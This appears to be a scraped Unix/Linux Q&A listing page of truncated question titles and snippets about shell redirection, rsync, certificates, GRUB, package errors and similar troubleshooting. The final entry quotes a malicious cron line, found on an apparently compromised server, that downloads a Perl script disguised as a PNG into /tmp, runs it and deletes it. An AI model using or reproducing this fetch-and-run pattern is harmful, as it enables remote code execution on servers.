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What does “3>&1 1>&2 2>&3” do in a script?
I saw this line in a script:
DEVICE=`dialog --inputbox "Festplatten-Laufzeit auslesen. Gebe Sie das
gewünschte Device an: " 0 70 "" 3>&1 1>&2 2>&3`
What is
3>&1 ...
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What does “XOFF ignored, mumble mumble” error mean?
While trying to save a file out of Nano the other day, I got an error message saying "XOFF ignored, mumble mumble". I have no idea what that's supposed to mean. Any insights?
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Installing Skype on Debian x64
I am new to Linux and I'm trying to install Skype using this
manual. I successfully download the package using the command:
wget -O skype-install.deb http://www.skype.com/go/getskype-linux-deb-64
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1answer
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du — ignore file not found errors
I'm trying to get the size of a folder an application is currently writing to. If I run the du command it sometimes fails with the error:
du: cannot access `/a/b/a.txt': No such file or directory
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How to read the messages during power off
I'm using Lubuntu 11.10. Every time I turn off my Sony Vaio I can read FAIL in red letters. But I can not read. I tried to take a photo, but not success.
Well, I was not worrying about this but ...
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Firefox error message when adding client certificate signed by CA
I'm getting this message when I'm trying to add a certificate to Firefox's "your certificate tab". I generated and signed it before by a server which also is a CA.
Failed to decode the file. ...
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Configuring Apache to Require a Client Certificate
I want to implement mutual authentication (two - way ) with apache web server.
References :
1.Failed to sign CSR with the CA root key
2.Firefox error message when adding client certificate ...
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1answer
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How to examine the fast output of rsync
I am using rsync for backup about 100GB files and directories. My command is
sudo rsync -azvv /home/path/folder1/ /home/path/folder2
However, the output for each file goes up so quickly and there ...
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xterm warning: Tried to connect to session manager
I am writing a quick script to read user input and put into commands of a couple different programs. I'm using xterm -e to open a terminal for each separate program.
The script is working fine, but ...
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1answer
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Mystifying command not found at login
I've just set up Arch Linux (not my first time). Everything installed correctly but when I login (X isn't installed yet) I see:
Arch Linux 3.8.4-1-ARCH (tty1)
mgoszcz2 login: root
Password:
Last ...
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1answer
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Getting error whenever trying to add a repository
Whenever I try to add a repository I get a NoDistroTemplate Exception. I am using Linux Mint 14 Nadia.
tusharmakkar08@tusharmakkar08-Satellite-C660 ~ $ sudo add-apt-repository ppa:webupd8team/java
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FTP timeout FIRST time
I'm using PureFTPd on MacOSX (Snow Leopard, not server version). When trying to access the FTP account from the outside via dyndns (e.g. using https://www.wormly.com/test_ftp_server) the connection ...
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Print given number in reverse order
clear
echo "Enter a number"
read n
sd=0
rev=0
while [ $n -gt 0 ]
do
sd=$(( $n % 10 ))
rev=$(( $rev *\ 10 + $sd ))
n=$(( $n / 10 ))
done
echo "Reverse number of entered digit is $rev"
...
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rsync error: Time value of file truncated on receiver
I run the following rsync command to back up my data. I am on Ubuntu 12.04.
rsync -rt --delete --links --exclude-from '/home/john/rsync-exclude.txt' /media/data/ server:/backup/data
The data ...
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1answer
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Not using specific memory regions due to errors
I have just installed some new RAM (2x1GB, 667, sticks from 2x512MB, 533, sticks) into an old system (perfectly valid), and all was working fine, until now.
I have been having some issues when the ...
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1answer
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Critical messages from gsm and gtk
After upgrading to Fedora 18, I am seeing the following critical messages on /var/log/messages whenever I log on to the computer:
CRITICAL: gsm_manager_set_phase: assertion \`GSM_IS_MANAGER<br>
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1answer
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ServeRAID error in syslog, is it important?
I was checking the logs in server when i came across this message.
Nov 4 12:52:05 SERVERNAME ServeRAID Manager Agent: [338] Periodic scan
found one or more critical logical drives: controller 1. ...
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1answer
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Asus Bluetooth Dongle with Atheros (ath3k) chip - OpenSUSE - probe failed with error -5
I'm trying to use an Asus USB Bluetooth Dongle in OpenSUSE. Unfortunately when I plug it in, dmesg gives me the following output:
usb 8-2: new full speed USB device using uhci_hcd and address 3
usb ...
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1answer
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Error QProcess: Destroyed while process is still running
Edit: I discovered that the problem is not related with the script cited below, but I'll leave it there just for history.
Well, this error appears when I close texstudio with the viewer open (xdvi or ...
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vote
1answer
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Failed to sign CSR with the CA root key
I'm trying to implement Mutual Certificate Authentication , I have to be the CA and server at the same time , generate certificates and sign them for users. and I'm following this tutorial which is a ...
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vote
1answer
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Failed to get bus connection: Could not connect: Connection refused
When I'm running
evince file.pdf
I got this error
Failed to get bus connection: Could not connect: Connection refused
Ubuntu 12.04
I have to reboot. Can I repair this error without reboot?
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1answer
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Mint 12 - Error updating MySQL (mysql-client-core-5.1)
I have MySQL 5.5 installed via packages.dotdeb.org. When trying to update 5.1, which is also installed, I get the following error:
E: ...
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2answers
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What does gpg error code 2(GPG_ERR_UNKNOWN_PACKET) mean?
I am tasked to explain the variation of gpg errors that happened in one of my batch script. Currently when I perform gpg decrypt for a specified file it returns 2. The problem with this is when I ...
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1answer
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Problem after deleting a system partition on another HD
While installing Debian Wheezy, I decided to use my another HD as /home/igor/Documents/, and the system installed correctlly nothing wrong happened, but later I decided to delete that partition so I ...
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1answer
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Getting config error for yum in CentOS
I'm very new to linux, and I am using CentOS in a VM for program testing. Everything seems to be fine, except for every few minutes I get this error:
Error Type: <class 'yum.Errors.ConfigError'>
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What does “INFO: task XXX blocked for more than 120 seconds” exactly mean on Linux?
I had this message in my kernel log. I would like to know what it means technically: under what conditions does the kernel display this message about a task?
For the record, my blocked task was ...
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grub2 ubuntu 12.04.2 flashing screen
Okay, so I've been searching a bit and either by my lack of understanding (I know just enough to be about as dangerous as a fluffy kitten) or because I am just not searching for the right stuff (maybe ...
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How can I prevent smartd from reporting that it cannot find a disk?
I have smartd monitoring my hard drives. It works fine generally, but the following error window has been consistently popping up every 24 hours.
This email was generated by the smartd daemon running ...
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403 Forbidden on Sub-Folders
I am a Linux newbie and decided to do a LAMP install to start getting more familiar with it (as our company is moving more towards nix these days). Everything went great and PHPMyAdmin, MySQL, ...
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No make target “uImage” with Buildroot 2013.05
After enabling Linux Kernel option and setting the Kernel binary format to uImage, I always get the following error:
make[1]: * No rule to make target `uImage'. Stop.
My buildroot configuration is ...
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Error using SCP: “not a regular file”
I have been searching for a while and I can't find the definition of a regular file. My path is permanent (I start at /) and I am connecting to
scp root@IP: /path/to/picture.jpg
Results in an ...
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1answer
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./configure, syntax error: unexpected token (lighttpd)
I want to build a modified version of lighttpd.
I follow this tutorial:
Downloading and building the H264 Streaming Module for Lighttpd (version 2)
This is what I've done so far:
apt get install ...
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1answer
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Why am I having problems installing Adobe Air on Linux Mint 14 and what is the solution?
I am attempting to install Adobe Air 2.6 on Linux Mint 14 in order to install an application that is dependent upon it.
I was instructed to install the getlibs-all package which I did and was able to ...
0
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1answer
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UNZIP failed while extracting
%> unzip V15679-01_3of3.zip
Archive: V15679-01_3of3.zip
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. ...
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1answer
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Analyze system logs with logwatch --range other than just “yesterday”
The manpage of logwatch says:
The format of the range option is:
--range "date_range [period]"
Parameter date_range (and optional period) must be enclosed in quotes
if it is ...
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Unknown btrfs error, partition won't mount
unix friends,
a day or so ago my btrfs partition just stopped working, which means i can't mount it anymore which is why my Fedora Linux doesn't boot anymore. I don't really have much information, ...
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Unable to install Parallels Workstation Extreme 6 on Linux Mint 14 KDE
I just installed Linuxmint 14 KDE 64bit on my pc, and tried to install Parallels Workstation Extreme 6, but for some reason it showed errors and wasnt working.
I did some googling and found someone ...
0
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1answer
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FTP cannot connect - connection closed by server
I entered the hostname, username/password and port, it seemed to connect but then the connection was lost, what should I check for? See the log below:
Status: Resolving address of ...
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Installing XSP on CentOS
Trying to install xsp-2.10.2. Worked fine in the past, now getting this error.
Making install in Mono.WebServer
mkdir: cannot create directory `2.0': File exists
GMCS /out:2.0/Mono.WebServer2.dll
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LFS System not booting or GRUB cannot access /bood/grub on boot
The closest question I could find is this one, however it is still quite a bit different from what I am needing: GRUB fails to install
My specific setup and the steps I followed to produce this
I am ...
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'dereferencing pointer to incomplete type' in compiling FreeBSD 4.2 custom system call - FreeBSD [closed]
I already posted this question on Stack overflow, but no luck there:
http://stackoverflow.com/questions/14784525/dereferencing-pointer-to-incomplete-type-in-compiling-freebsd-custom-system-caF
I am ...
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1answer
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Error while compiling C source code [closed]
I'm trying to run heathusf_v1.1.0.tar.gz found here
I installed tcsh to make build_heathusf work. But, when I run ./build_heathusf, I get the following (I'm running that on a Fedora Linux system from ...
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Problem with rc script and chkconfig [closed]
I am following the Linux Administration: a Beginner's Guide book and it had me write out two scripts, and after I set their permissions to 755 and moved them to where they needed to be I tried ...
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Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]
I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
